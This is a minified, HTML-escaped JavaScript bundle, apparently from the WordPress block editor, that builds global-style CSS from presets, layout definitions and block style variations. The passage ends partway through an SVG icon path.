Oa=&quot;body&quot;,_S=&quot;:root&quot;,eT=[{path:[&quot;color&quot;,&quot;palette&quot;],valueKey:&quot;color&quot;,cssVarInfix:&quot;color&quot;,classes:[{classSuffix:&quot;color&quot;,propertyName:&quot;color&quot;},{classSuffix:&quot;background-color&quot;,propertyName:&quot;background-color&quot;},{classSuffix:&quot;border-color&quot;,propertyName:&quot;border-color&quot;}]},{path:[&quot;color&quot;,&quot;gradients&quot;],valueKey:&quot;gradient&quot;,cssVarInfix:&quot;gradient&quot;,classes:[{classSuffix:&quot;gradient-background&quot;,propertyName:&quot;background&quot;}]},{path:[&quot;color&quot;,&quot;duotone&quot;],valueKey:&quot;colors&quot;,cssVarInfix:&quot;duotone&quot;,valueFunc:({slug:e})=&gt;`url( &#039;#wp-duotone-${e}&#039; )`,classes:[]},{path:[&quot;shadow&quot;,&quot;presets&quot;],valueKey:&quot;shadow&quot;,cssVarInfix:&quot;shadow&quot;,classes:[]},{path:[&quot;typography&quot;,&quot;fontSizes&quot;],valueFunc:(e,t)=&gt;ec(e,t),valueKey:&quot;size&quot;,cssVarInfix:&quot;font-size&quot;,classes:[{classSuffix:&quot;font-size&quot;,propertyName:&quot;font-size&quot;}]},{path:[&quot;typography&quot;,&quot;fontFamilies&quot;],valueKey:&quot;fontFamily&quot;,cssVarInfix:&quot;font-family&quot;,classes:[{classSuffix:&quot;font-family&quot;,propertyName:&quot;font-family&quot;}]},{path:[&quot;spacing&quot;,&quot;spacingSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;spacing&quot;,valueFunc:({size:e})=&gt;e,classes:[]},{path:[&quot;border&quot;,&quot;radiusSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;border-radius&quot;,classes:[]},{path:[&quot;dimensions&quot;,&quot;dimensionSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;dimension&quot;,classes:[]}];function js(e,t){if(!e||!t)return t;let o=e.split(&quot;,&quot;),r=t.split(&quot;,&quot;),n=[];return o.forEach(i=&gt;{r.forEach(s=&gt;{n.push(`${i.trim()} ${s.trim()}`)})}),n.join(&quot;, &quot;)}function MX(e,t){if(!e||!t)return;let o={};return Object.entries(t).forEach(([r,n])=&gt;{typeof n==&quot;string&quot;&amp;&amp;(o[r]=js(e,n)),typeof n==&quot;object&quot;&amp;&amp;(o[r]={},Object.entries(n).forEach(([i,s])=&gt;{o[r][i]=js(e,s)}))}),o}function DX(e,t){return e.includes(&quot;,&quot;)?e.split(&quot;,&quot;).map(n=&gt;n+t).join(&quot;,&quot;):e+t}function VX(e,t){let o=`.is-style-${e}`;if(!t)return o;let r=/((?::\([^)]+\))?\s*)([^\s:]+)/,n=(s,a,c)=&gt;a+c+o;return t.split(&quot;,&quot;).map(s=&gt;s.replace(r,n)).join(&quot;,&quot;)}function p1e(e,t){if(!e||!t)return e;if(typeof e==&quot;object&quot;&amp;&amp;&quot;ref&quot;in e&amp;&amp;e?.ref){let o=(0,NX.getCSSValueFromRawStyle)(Oo(t,e.ref));return typeof o==&quot;object&quot;&amp;&amp;o!==null&amp;&amp;&quot;ref&quot;in o&amp;&amp;o?.ref?void 0:o===void 0?e:o}return e}function h1e(e,t){if(!e||!t||!Array.isArray(t))return e;let o=t.find(r=&gt;r?.name===e);return o?.href?o?.href:e}function Pg(e,t){if(!e||!t)return e;let o=p1e(e,t);return typeof o==&quot;object&quot;&amp;&amp;o!==null&amp;&amp;&quot;url&quot;in o&amp;&amp;o?.url&amp;&amp;(o.url=h1e(o.url,t?._links?.[&quot;wp:theme-file&quot;])),o}function FX(e,t,o=[],r=&quot;slug&quot;,n){let i=[t?Oo(e,[&quot;blocks&quot;,t,...o]):void 0,Oo(e,o)].filter(Boolean);for(let s of i)if(s){let a=[&quot;custom&quot;,&quot;theme&quot;,&quot;default&quot;];for(let c of a){let u=s[c];if(u){let d=u.find(f=&gt;f[r]===n);if(d)return r===&quot;slug&quot;||FX(e,t,o,&quot;slug&quot;,d.slug)[r]===d[r]?d:void 0}}}}function g1e(e,t,o,[r,n]=[]){let i=eT.find(a=&gt;a.cssVarInfix===r);if(!i||!e.settings)return o;let s=FX(e.settings,t,i.path,&quot;slug&quot;,n);if(s){let{valueKey:a}=i,c=s[a];return wn(e,t,c)}return o}function b1e(e,t,o,r=[]){let n=(t?Oo(e?.settings??{},[&quot;blocks&quot;,t,&quot;custom&quot;,...r]):void 0)??Oo(e?.settings??{},[&quot;custom&quot;,...r]);return n?wn(e,t,n):o}function wn(e,t,o){if(!o||typeof o!=&quot;string&quot;)if(typeof o==&quot;object&quot;&amp;&amp;o!==null&amp;&amp;&quot;ref&quot;in o&amp;&amp;typeof o.ref==&quot;string&quot;){let u=Oo(e,o.ref);if(!u||typeof u==&quot;object&quot;&amp;&amp;&quot;ref&quot;in u)return u;o=u}else return o;let r=&quot;var:&quot;,n=&quot;var(--wp--&quot;,i=&quot;)&quot;,s;if(o.startsWith(r))s=o.slice(r.length).split(&quot;|&quot;);else if(o.startsWith(n)&amp;&amp;o.endsWith(i))s=o.slice(n.length,-i.length).split(&quot;--&quot;);else return o;let[a,...c]=s;return a===&quot;preset&quot;?g1e(e,t,o,c):a===&quot;custom&quot;?b1e(e,t,o,c):o}var qr=l($(),1),wS=l(Uv(),1),YX=l(F(),1);function oi(e,t=&quot;root&quot;,o={}){if(!t)return null;let{fallback:r=!1}=o,{name:n,selectors:i,supports:s}=e,a=i&amp;&amp;Object.keys(i).length&gt;0,c=Array.isArray(t)?t.join(&quot;.&quot;):t,u=null;if(a&amp;&amp;i.root?u=i?.root:s?.__experimentalSelector?u=s.__experimentalSelector:u=&quot;.wp-block-&quot;+n.replace(&quot;core/&quot;,&quot;&quot;).replace(&quot;/&quot;,&quot;-&quot;),c===&quot;root&quot;)return u;let d=Array.isArray(t)?t:t.split(&quot;.&quot;);if(d.length===1){let m=r?u:null;if(a)return Oo(i,`${c}.root`,null)||Oo(i,c,null)||m;let h=s?Oo(s,`${c}.__experimentalSelector`,null):void 0;return h?js(u,h):m}let f;return a&amp;&amp;(f=Oo(i,c,null)),f||(r?oi(e,d[0],o):null)}function Og(e){return e.replace(/([a-z])([A-Z])/g,&quot;$1-$2&quot;).replace(/([0-9])([a-zA-Z])/g,&quot;$1-$2&quot;).replace(/([a-zA-Z])([0-9])/g,&quot;$1-$2&quot;).replace(/[\s_]+/g,&quot;-&quot;).toLowerCase()}function DV(e){if(!e)return;let t=e.match(/var:preset\|spacing\|(.+)/);return t?`var(--wp--preset--spacing--${t[1]})`:e}function R1e(e){if(!e)return null;let t=typeof e==&quot;string&quot;;return{top:t?e:e?.top,left:t?e:e?.left}}function VV(e,t=&quot;0&quot;){let o=R1e(e);if(!o)return null;let r=DV(o?.top)||t,n=DV(o?.left)||t;return r===n?r:`${r} ${n}`}var HX={backgroundSize:&quot;cover&quot;,backgroundPosition:&quot;50% 50%&quot;};function GX(e){if(!e||!e?.backgroundImage?.url)return;let t;return e?.backgroundSize||(t={backgroundSize:HX.backgroundSize}),e?.backgroundSize===&quot;contain&quot;&amp;&amp;!e?.backgroundPosition&amp;&amp;(t={backgroundPosition:HX.backgroundPosition}),t}var WX={default:{name:&quot;default&quot;,slug:&quot;flow&quot;,className:&quot;is-layout-flow&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},constrained:{name:&quot;constrained&quot;,slug:&quot;constrained&quot;,className:&quot;is-layout-constrained&quot;,baseStyles:[{selector:&quot; &gt; .alignleft&quot;,rules:{float:&quot;left&quot;,&quot;margin-inline-start&quot;:&quot;0&quot;,&quot;margin-inline-end&quot;:&quot;2em&quot;}},{selector:&quot; &gt; .alignright&quot;,rules:{float:&quot;right&quot;,&quot;margin-inline-start&quot;:&quot;2em&quot;,&quot;margin-inline-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; .aligncenter&quot;,rules:{&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; :where(:not(.alignleft):not(.alignright):not(.alignfull))&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--content-size)&quot;,&quot;margin-left&quot;:&quot;auto !important&quot;,&quot;margin-right&quot;:&quot;auto !important&quot;}},{selector:&quot; &gt; .alignwide&quot;,rules:{&quot;max-width&quot;:&quot;var(--wp--style--global--wide-size)&quot;}}],spacingStyles:[{selector:&quot; &gt; :first-child&quot;,rules:{&quot;margin-block-start&quot;:&quot;0&quot;}},{selector:&quot; &gt; :last-child&quot;,rules:{&quot;margin-block-end&quot;:&quot;0&quot;}},{selector:&quot; &gt; *&quot;,rules:{&quot;margin-block-start&quot;:null,&quot;margin-block-end&quot;:&quot;0&quot;}}]},flex:{name:&quot;flex&quot;,slug:&quot;flex&quot;,className:&quot;is-layout-flex&quot;,displayMode:&quot;flex&quot;,baseStyles:[{selector:&quot;&quot;,rules:{&quot;flex-wrap&quot;:&quot;wrap&quot;,&quot;align-items&quot;:&quot;center&quot;}},{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]},grid:{name:&quot;grid&quot;,slug:&quot;grid&quot;,className:&quot;is-layout-grid&quot;,displayMode:&quot;grid&quot;,baseStyles:[{selector:&quot; &gt; :is(*, div)&quot;,rules:{margin:&quot;0&quot;}}],spacingStyles:[{selector:&quot;&quot;,rules:{gap:null}}]}};var O1e={button:&quot;wp-element-button&quot;,caption:&quot;wp-element-caption&quot;},A1e={__experimentalBorder:&quot;border&quot;,color:&quot;color&quot;,dimensions:&quot;dimensions&quot;,spacing:&quot;spacing&quot;,typography:&quot;typography&quot;};function L1e(e=&quot;*&quot;,t={}){return eT.reduce((o,{path:r,cssVarInfix:n,classes:i})=&gt;{if(!i)return o;let s=Oo(t,r,[]);return[&quot;default&quot;,&quot;theme&quot;,&quot;custom&quot;].forEach(a=&gt;{s[a]&amp;&amp;s[a].forEach(({slug:c})=&gt;{i.forEach(({classSuffix:u,propertyName:d})=&gt;{let f=`.has-${Og(c)}-${u}`,m=e.split(&quot;,&quot;).map(p=&gt;`${p}${f}`).join(&quot;,&quot;),h=`var(--wp--preset--${n}--${Og(c)})`;o+=`${m}{${d}: ${h} !important;}`})})}),o},&quot;&quot;)}function N1e(e,t){let o=e.split(&quot;,&quot;),r=[];return o.forEach(n=&gt;{r.push(`${t.trim()}${n.trim()}`)}),r.join(&quot;, &quot;)}var $X=(e,t,o)=&gt;{if(o!==&quot;core/paragraph&quot;||(t?.blocks?.[&quot;core/paragraph&quot;]?.typography?.textIndent??t?.typography?.textIndent??&quot;subsequent&quot;)!==&quot;all&quot;)return e;let i=&quot;.wp-block-paragraph + .wp-block-paragraph&quot;,s=&quot;.wp-block-paragraph&quot;;if(i in e){let a=e[i],c={...e};return delete c[i],c[s]=a,c}return e},KX=(e,t)=&gt;{let o={};return Object.entries(e).forEach(([r,n])=&gt;{if(r===&quot;root&quot;||!t?.[r])return;let i=typeof n==&quot;string&quot;;if(!i&amp;&amp;typeof n==&quot;object&quot;&amp;&amp;n!==null&amp;&amp;Object.entries(n).forEach(([s,a])=&gt;{if(s===&quot;root&quot;||!t?.[r][s])return;let c={[r]:{[s]:t[r][s]}},u=Ag(c);o[a]=[...o[a]||[],...u],delete t[r][s]}),i||typeof n==&quot;object&quot;&amp;&amp;n!==null&amp;&amp;&quot;root&quot;in n){let s=i?n:n.root,a={[r]:t[r]},c=Ag(a);o[s]=[...o[s]||[],...c],delete t[r]}}),o};function Ag(e={},t=&quot;&quot;,o,r={},n=!1){let i=Oa===t,s=Object.entries(qr.__EXPERIMENTAL_STYLE_PROPERTY).reduce((c,[u,{value:d,properties:f,useEngine:m,rootOnly:h}])=&gt;{if(h&amp;&amp;!i)return c;let p=d;if(p[0]===&quot;elements&quot;||m)return c;let g=Oo(e,p);if(u===&quot;--wp--style--root--padding&quot;&amp;&amp;(typeof g==&quot;string&quot;||!o))return c;if(f&amp;&amp;typeof g!=&quot;string&quot;)Object.entries(f).forEach(b=&gt;{let[v,k]=b;if(!Oo(g,[k],!1))return;let y=v.startsWith(&quot;--&quot;)?v:Og(v);c.push(`${y}: ${(0,wS.getCSSValueFromRawStyle)(Oo(g,[k]))}`)});else if(Oo(e,p,!1)){let b=u.startsWith(&quot;--&quot;)?u:Og(u);c.push(`${b}: ${(0,wS.getCSSValueFromRawStyle)(Oo(e,p))}`)}return c},[]);return e.background&amp;&amp;(e.background?.backgroundImage&amp;&amp;(e.background.backgroundImage=Pg(e.background.backgroundImage,r)),!i&amp;&amp;e.background?.backgroundImage?.id&amp;&amp;(e={...e,background:{...e.background,...GX(e.background)}})),(0,wS.getCSSRules)(e).forEach(c=&gt;{if(i&amp;&amp;(o||n)&amp;&amp;c.key.startsWith(&quot;padding&quot;))return;let u=c.key.startsWith(&quot;--&quot;)?c.key:Og(c.key),d=Pg(c.value,r);u===&quot;font-size&quot;&amp;&amp;(d=ec({name:&quot;&quot;,slug:&quot;&quot;,size:d},r?.settings)),u===&quot;aspect-ratio&quot;&amp;&amp;s.push(&quot;min-height: unset&quot;),s.push(`${u}: ${d}`)}),s}function FV({layoutDefinitions:e=WX,style:t,selector:o,hasBlockGapSupport:r,hasFallbackGapSupport:n,fallbackGapValue:i}){let s=&quot;&quot;,a=r?VV(t?.spacing?.blockGap):&quot;&quot;;if(n&amp;&amp;(o===Oa?a=a||&quot;0.5em&quot;:!r&amp;&amp;i&amp;&amp;(a=i)),a&amp;&amp;e&amp;&amp;(Object.values(e).forEach(({className:c,name:u,spacingStyles:d})=&gt;{!r&amp;&amp;u!==&quot;flex&quot;&amp;&amp;u!==&quot;grid&quot;||d?.length&amp;&amp;d.forEach(f=&gt;{let m=[];if(f.rules&amp;&amp;Object.entries(f.rules).forEach(([h,p])=&gt;{m.push(`${h}: ${p||a}`)}),m.length){let h=&quot;&quot;;r?h=o===Oa?`:root :where(.${c})${f?.selector||&quot;&quot;}`:`:root :where(${o}-${c})${f?.selector||&quot;&quot;}`:h=o===Oa?`:where(.${c}${f?.selector||&quot;&quot;})`:`:where(${o}.${c}${f?.selector||&quot;&quot;})`,s+=`${h} { ${m.join(&quot;; &quot;)}; }`}})}),o===Oa&amp;&amp;r&amp;&amp;(s+=`${_S} { --wp--style--block-gap: ${a}; }`)),o===Oa&amp;&amp;e){let c=[&quot;block&quot;,&quot;flex&quot;,&quot;grid&quot;];Object.values(e).forEach(({className:u,displayMode:d,baseStyles:f})=&gt;{d&amp;&amp;c.includes(d)&amp;&amp;(s+=`${o} .${u} { display:${d}; }`),f?.length&amp;&amp;f.forEach(m=&gt;{let h=[];if(m.rules&amp;&amp;Object.entries(m.rules).forEach(([p,g])=&gt;{h.push(`${p}: ${g}`)}),h.length){let p=`.${u}${m?.selector||&quot;&quot;}`;s+=`${p} { ${h.join(&quot;; &quot;)}; }`}})})}return s}var M1e=[&quot;border&quot;,&quot;color&quot;,&quot;dimensions&quot;,&quot;spacing&quot;,&quot;typography&quot;,&quot;filter&quot;,&quot;outline&quot;,&quot;shadow&quot;,&quot;background&quot;];function tT(e){if(!e)return{};let r=Object.entries(e).filter(([n])=&gt;M1e.includes(n)).map(([n,i])=&gt;[n,JSON.parse(JSON.stringify(i))]);return Object.fromEntries(r)}var D1e=(e,t)=&gt;{let o=[];if(!e?.styles)return o;let r=tT(e.styles);return r&amp;&amp;o.push({styles:r,selector:Oa,skipSelectorWrapper:!0}),Object.entries(qr.__EXPERIMENTAL_ELEMENTS).forEach(([n,i])=&gt;{e.styles?.elements?.[n]&amp;&amp;o.push({styles:e.styles?.elements?.[n]??{},selector:i,skipSelectorWrapper:!O1e[n]})}),Object.entries(e.styles?.blocks??{}).forEach(([n,i])=&gt;{let s=tT(i),a=i,c=[];if(a?.variations){let u={};Object.entries(a.variations).forEach(([d,f])=&gt;{let m=f;u[d]=tT(m),m?.css&amp;&amp;(u[d].css=m.css);let h=typeof t!=&quot;string&quot;?t[n]?.styleVariationSelectors?.[d]:void 0;Object.entries(m?.elements??{}).forEach(([p,g])=&gt;{g&amp;&amp;qr.__EXPERIMENTAL_ELEMENTS[p]&amp;&amp;c.push({styles:g,selector:js(h,qr.__EXPERIMENTAL_ELEMENTS[p])})}),Object.entries(m?.blocks??{}).forEach(([p,g])=&gt;{let b=typeof t!=&quot;string&quot;?js(h,t[p]?.selector):void 0,v=typeof t!=&quot;string&quot;?js(h,t[p]?.duotoneSelector):void 0,k=typeof t!=&quot;string&quot;?MX(h,t[p]?.featureSelectors??{}):void 0,y=tT(g);g?.css&amp;&amp;(y.css=g.css),!(!b||typeof t==&quot;string&quot;)&amp;&amp;(c.push({selector:b,duotoneSelector:v,featureSelectors:k,fallbackGapValue:t[p]?.fallbackGapValue,hasLayoutSupport:t[p]?.hasLayoutSupport,styles:y}),Object.entries(g.elements??{}).forEach(([S,x])=&gt;{x&amp;&amp;qr.__EXPERIMENTAL_ELEMENTS[S]&amp;&amp;c.push({styles:x,selector:js(b,qr.__EXPERIMENTAL_ELEMENTS[S])})}))})}),s.variations=u}typeof t!=&quot;string&quot;&amp;&amp;t?.[n]?.selector&amp;&amp;o.push({duotoneSelector:t[n].duotoneSelector,fallbackGapValue:t[n].fallbackGapValue,hasLayoutSupport:t[n].hasLayoutSupport,selector:t[n].selector,styles:s,featureSelectors:t[n].featureSelectors,styleVariationSelectors:t[n].styleVariationSelectors,name:n}),Object.entries(a?.elements??{}).forEach(([u,d])=&gt;{typeof t!=&quot;string&quot;&amp;&amp;d&amp;&amp;t?.[n]&amp;&amp;qr.__EXPERIMENTAL_ELEMENTS[u]&amp;&amp;o.push({styles:d,selector:t[n]?.selector.split(&quot;,&quot;).map(f=&gt;qr.__EXPERIMENTAL_ELEMENTS[u].split(&quot;,&quot;).map(h=&gt;f+&quot; &quot;+h)).join(&quot;,&quot;)})}),o.push(...c)}),o},V1e=(e,t)=&gt;{let o=[];if(!e?.settings)return o;let r=s=&gt;{let a={};return eT.forEach(({path:c})=&gt;{let u=Oo(s,c,!1);u!==!1&amp;&amp;(a=AX(a,c,u))}),a},n=r(e.settings),i=e.settings?.custom;return(Object.keys(n).length&gt;0||i)&amp;&amp;o.push({presets:n,custom:i,selector:_S}),Object.entries(e.settings?.blocks??{}).forEach(([s,a])=&gt;{let c=a.custom;if(typeof t==&quot;string&quot;||!t[s])return;let u=r(a);(Object.keys(u).length&gt;0||c)&amp;&amp;o.push({presets:u,custom:c,selector:t[s]?.selector})}),o};var oT=(e,t,o,r,n=!1,i=!1,s={})=&gt;{let a={blockGap:!0,blockStyles:!0,layoutStyles:!0,marginReset:!0,presets:!0,rootPadding:!0,variationStyles:!1,...s},c=D1e(e,t),u=V1e(e,t),d=e?.settings?.useRootPaddingAwareAlignments,{contentSize:f,wideSize:m}=e?.settings?.layout||{},h=a.marginReset||a.rootPadding||a.layoutStyles,p=&quot;&quot;;if(a.presets&amp;&amp;(f||m)&amp;&amp;(p+=`${_S} {`,p=f?p+` --wp--style--global--content-size: ${f};`:p,p=m?p+` --wp--style--global--wide-size: ${m};`:p,p+=&quot;}&quot;),h&amp;&amp;(p+=&quot;:where(body) {margin: 0;&quot;,a.rootPadding&amp;&amp;d&amp;&amp;(p+=`padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }
				.has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }
				.has-global-padding &gt; .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }
				.has-global-padding :where(:not(.alignfull.is-layout-flow) &gt; .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }
				.has-global-padding :where(:not(.alignfull.is-layout-flow) &gt; .has-global-padding:not(.wp-block-block, .alignfull)) &gt; .alignfull { margin-left: 0; margin-right: 0;
				`),p+=&quot;}&quot;),a.blockStyles&amp;&amp;c.forEach(({selector:g,duotoneSelector:b,styles:v,fallbackGapValue:k,hasLayoutSupport:y,featureSelectors:S,styleVariationSelectors:x,skipSelectorWrapper:C,name:B})=&gt;{if(S){let E=KX(S,v);E=$X(E,e.settings,B),Object.entries(E).forEach(([L,T])=&gt;{if(T.length){let O=T.join(&quot;;&quot;);p+=`:root :where(${L}){${O};}`}})}if(b){let E={};v?.filter&amp;&amp;(E.filter=v.filter,delete v.filter);let L=Ag(E);L.length&amp;&amp;(p+=`${b}{${L.join(&quot;;&quot;)};}`)}!n&amp;&amp;(Oa===g||y)&amp;&amp;(p+=FV({style:v,selector:g,hasBlockGapSupport:o,hasFallbackGapSupport:r,fallbackGapValue:k}));let I=Ag(v,g,d,e,i);if(I?.length){let E=C?g:`:root :where(${g})`;p+=`${E}{${I.join(&quot;;&quot;)};}`}v?.css&amp;&amp;(p+=CS(v.css,`:root :where(${g})`)),a.variationStyles&amp;&amp;x&amp;&amp;Object.entries(x).forEach(([E,L])=&gt;{let T=v?.variations?.[E];if(T){if(S){let D=KX(S,T);D=$X(D,e.settings,B),Object.entries(D).forEach(([U,G])=&gt;{if(G.length){let j=N1e(U,L),z=G.join(&quot;;&quot;);p+=`:root :where(${j}){${z};}`}})}let O=Ag(T,L,d,e);if(O.length&amp;&amp;(p+=`:root :where(${L}){${O.join(&quot;;&quot;)};}`),T?.css&amp;&amp;(p+=CS(T.css,`:root :where(${L})`)),y&amp;&amp;T?.spacing?.blockGap){let D=L+g;p+=FV({style:T,selector:D,hasBlockGapSupport:!0,hasFallbackGapSupport:r,fallbackGapValue:k})}}});let P=Object.entries(v).filter(([E])=&gt;E.startsWith(&quot;:&quot;));P?.length&amp;&amp;P.forEach(([E,L])=&gt;{let T=Ag(L);if(!T?.length)return;let D=`:root :where(${g.split(&quot;,&quot;).map(U=&gt;U+E).join(&quot;,&quot;)}){${T.join(&quot;;&quot;)};}`;p+=D})}),a.layoutStyles&amp;&amp;(p=p+&quot;.wp-site-blocks &gt; .alignleft { float: left; margin-right: 2em; }&quot;,p=p+&quot;.wp-site-blocks &gt; .alignright { float: right; margin-left: 2em; }&quot;,p=p+&quot;.wp-site-blocks &gt; .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }&quot;),a.blockGap&amp;&amp;o){let g=VV(e?.styles?.spacing?.blockGap)||&quot;0.5em&quot;;p=p+`:root :where(.wp-site-blocks) &gt; * { margin-block-start: ${g}; margin-block-end: 0; }`,p=p+&quot;:root :where(.wp-site-blocks) &gt; :first-child { margin-block-start: 0; }&quot;,p=p+&quot;:root :where(.wp-site-blocks) &gt; :last-child { margin-block-end: 0; }&quot;}return a.presets&amp;&amp;u.forEach(({selector:g,presets:b})=&gt;{(Oa===g||_S===g)&amp;&amp;(g=&quot;&quot;);let v=L1e(g,b);v.length&gt;0&amp;&amp;(p+=v)}),p};var F1e=(e,t)=&gt;{if(e?.selectors&amp;&amp;Object.keys(e.selectors).length&gt;0)return e.selectors;let o={root:t};return Object.entries(A1e).forEach(([r,n])=&gt;{let i=oi(e,r);i&amp;&amp;(o[n]=i)}),o},rT=(e,t)=&gt;{let{getBlockStyles:o}=(0,YX.select)(qr.store),r={};return e.forEach(n=&gt;{let i=n.name,s=oi(n);if(!s)return;let a=oi(n,&quot;filter.duotone&quot;);if(!a){let h=oi(n),p=(0,qr.getBlockSupport)(n,&quot;color.__experimentalDuotone&quot;,!1);a=p&amp;&amp;h&amp;&amp;js(h,p)}let c=!!n?.supports?.layout||!!n?.supports?.__experimentalLayout,u=n?.supports?.spacing?.blockGap?.__experimentalDefault,d=o(i),f={};d?.forEach(h=&gt;{let p=t?`-${t}`:&quot;&quot;,g=`${h.name}${p}`,b=VX(g,s);f[g]=b});let m=F1e(n,s);r[i]={duotoneSelector:a??void 0,fallbackGapValue:u,featureSelectors:Object.keys(m).length?m:void 0,hasLayoutSupport:c,name:i,selector:s,styleVariationSelectors:d?.length?f:void 0}}),r};function CS(e,t){let o=&quot;&quot;;return!e||e.trim()===&quot;&quot;||e.split(&quot;&amp;&quot;).forEach(n=&gt;{if(!n||n.trim()===&quot;&quot;)return;if(!n.includes(&quot;{&quot;))o+=`:root :where(${t}){${n.trim()}}`;else{let s=n.replace(&quot;}&quot;,&quot;&quot;).split(&quot;{&quot;);if(s.length!==2)return;let[a,c]=s,u=a.match(/([&gt;+~\s]*::[a-zA-Z-]+)/),d=u?u[1]:&quot;&quot;,f=u?a.replace(d,&quot;&quot;).trim():a.trim(),m;f===&quot;&quot;?m=t:m=a.startsWith(&quot; &quot;)?js(t,f):DX(t,f),o+=`:root :where(${m})${d}{${c.trim()}}`}}),o}var ES=l(w(),1),zV=&quot;is-style-&quot;;function qX(e){return e?e.split(/\s+/).reduce((t,o)=&gt;{if(o.startsWith(zV)){let r=o.slice(zV.length);r!==&quot;default&quot;&amp;&amp;t.push(r)}return t},[]):[]}function jV(e,t=[]){let o=qX(e);if(!o)return null;for(let r of o)if(t.some(n=&gt;n.name===r))return r;return null}function z1e({override:e}){tc(e)}function UV({config:e}){let{getBlockStyles:t,overrides:o}=(0,BS.useSelect)(i=&gt;({getBlockStyles:i(Lg.store).getBlockStyles,overrides:M(i(_)).getStyleOverrides()}),[]),{getBlockName:r}=(0,BS.useSelect)(_),n=(0,nT.useMemo)(()=&gt;{if(!o?.length)return;let i=[],s=[];for(let[,a]of o)if(a?.variation&amp;&amp;a?.clientId&amp;&amp;!s.includes(a.clientId)){let c=r(a.clientId),u=e?.styles?.blocks?.[c]?.variations?.[a.variation];if(u){let d={settings:e?.settings,styles:{blocks:{[c]:{variations:{[`${a.variation}-${a.clientId}`]:u}}}}},f=rT((0,Lg.getBlockTypes)(),a.clientId),b=oT(d,f,!1,!0,!0,!0,{blockGap:!1,blockStyles:!0,layoutStyles:!1,marginReset:!1,presets:!1,rootPadding:!1,variationStyles:!0});i.push({id:`${a.variation}-${a.clientId}`,css:b,__unstableType:&quot;variation&quot;,variation:a.variation,clientId:a.clientId}),s.push(a.clientId)}}return i},[e,o,t,r]);return!n||!n.length?null:(0,ES.jsx)(ES.Fragment,{children:n.map(i=&gt;(0,ES.jsx)(z1e,{override:i},i.id))})}function HV(e,t,o){if(!e?.styles?.blocks?.[t]?.variations?.[o])return;let r=i=&gt;{Object.keys(i).forEach(s=&gt;{let a=i[s];if(typeof a==&quot;object&quot;&amp;&amp;a!==null)if(a.ref!==void 0)if(typeof a.ref!=&quot;string&quot;||a.ref.trim()===&quot;&quot;)delete i[s];else{let c=yl(e,a.ref);c?i[s]=c:delete i[s]}else r(a),Object.keys(a).length===0&amp;&amp;delete i[s]})},n=JSON.parse(JSON.stringify(e.styles.blocks[t].variations[o]));return r(n),n}function j1e(e,t,o){let{globalSettings:r,globalStyles:n}=(0,BS.useSelect)(i=&gt;{let s=i(_).getSettings();return{globalSettings:s.__experimentalFeatures,globalStyles:s[xi]}},[]);return(0,nT.useMemo)(()=&gt;{let i=HV({settings:r,styles:n},e,t);return{settings:r,styles:{blocks:{[e]:{variations:{[`${t}-${o}`]:i}}}}}},[r,n,t,o,e])}function U1e({name:e,className:t,clientId:o}){let{getBlockStyles:r}=(0,BS.useSelect)(Lg.store),n=r(e),i=jV(t,n),s=`${zV}${i}-${o}`,{settings:a,styles:c}=j1e(e,i,o),u=(0,nT.useMemo)(()=&gt;{if(!i)return;let d={settings:a,styles:c},f=rT((0,Lg.getBlockTypes)(),o);return oT(d,f,!1,!0,!0,!0,{blockGap:!1,blockStyles:!0,layoutStyles:!1,marginReset:!1,presets:!1,rootPadding:!1,variationStyles:!0})},[i,a,c,o]);return tc({id:`variation-${o}`,css:u,__unstableType:&quot;variation&quot;,variation:i,clientId:o}),i?{className:s}:{}}var ZX={hasSupport:()=&gt;!0,attributeKeys:[&quot;className&quot;],isMatch:({className:e})=&gt;qX(e).length&gt;0,useBlockProps:U1e};var dd=l(w(),1),H1e=(0,dd.jsxs)(Us.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,&quot;aria-hidden&quot;:&quot;true&quot;,focusable:&quot;false&quot;,children:[(0,dd.jsx)(Us.Path,{d:&quot;M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 1.2-1 2.2-1 3 0 3.4 2.7 6.1 6.1 6.1s6.1-2.7 6.1-6.1c0-.8-.3-1.8-1-3z&quot;}),(0,dd.jsx)(Us.Path,{stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,d:&quot;M17.2 10.9c-.5-1-1.2-2.1-2.1-3.2-.6-.9-1.3-1.7-2.1-2.6L12 4l-1 1.1c-.6.9-1.3 1.7-2 2.6-.8 1.2-1.5 2.3-2 3.2-.6 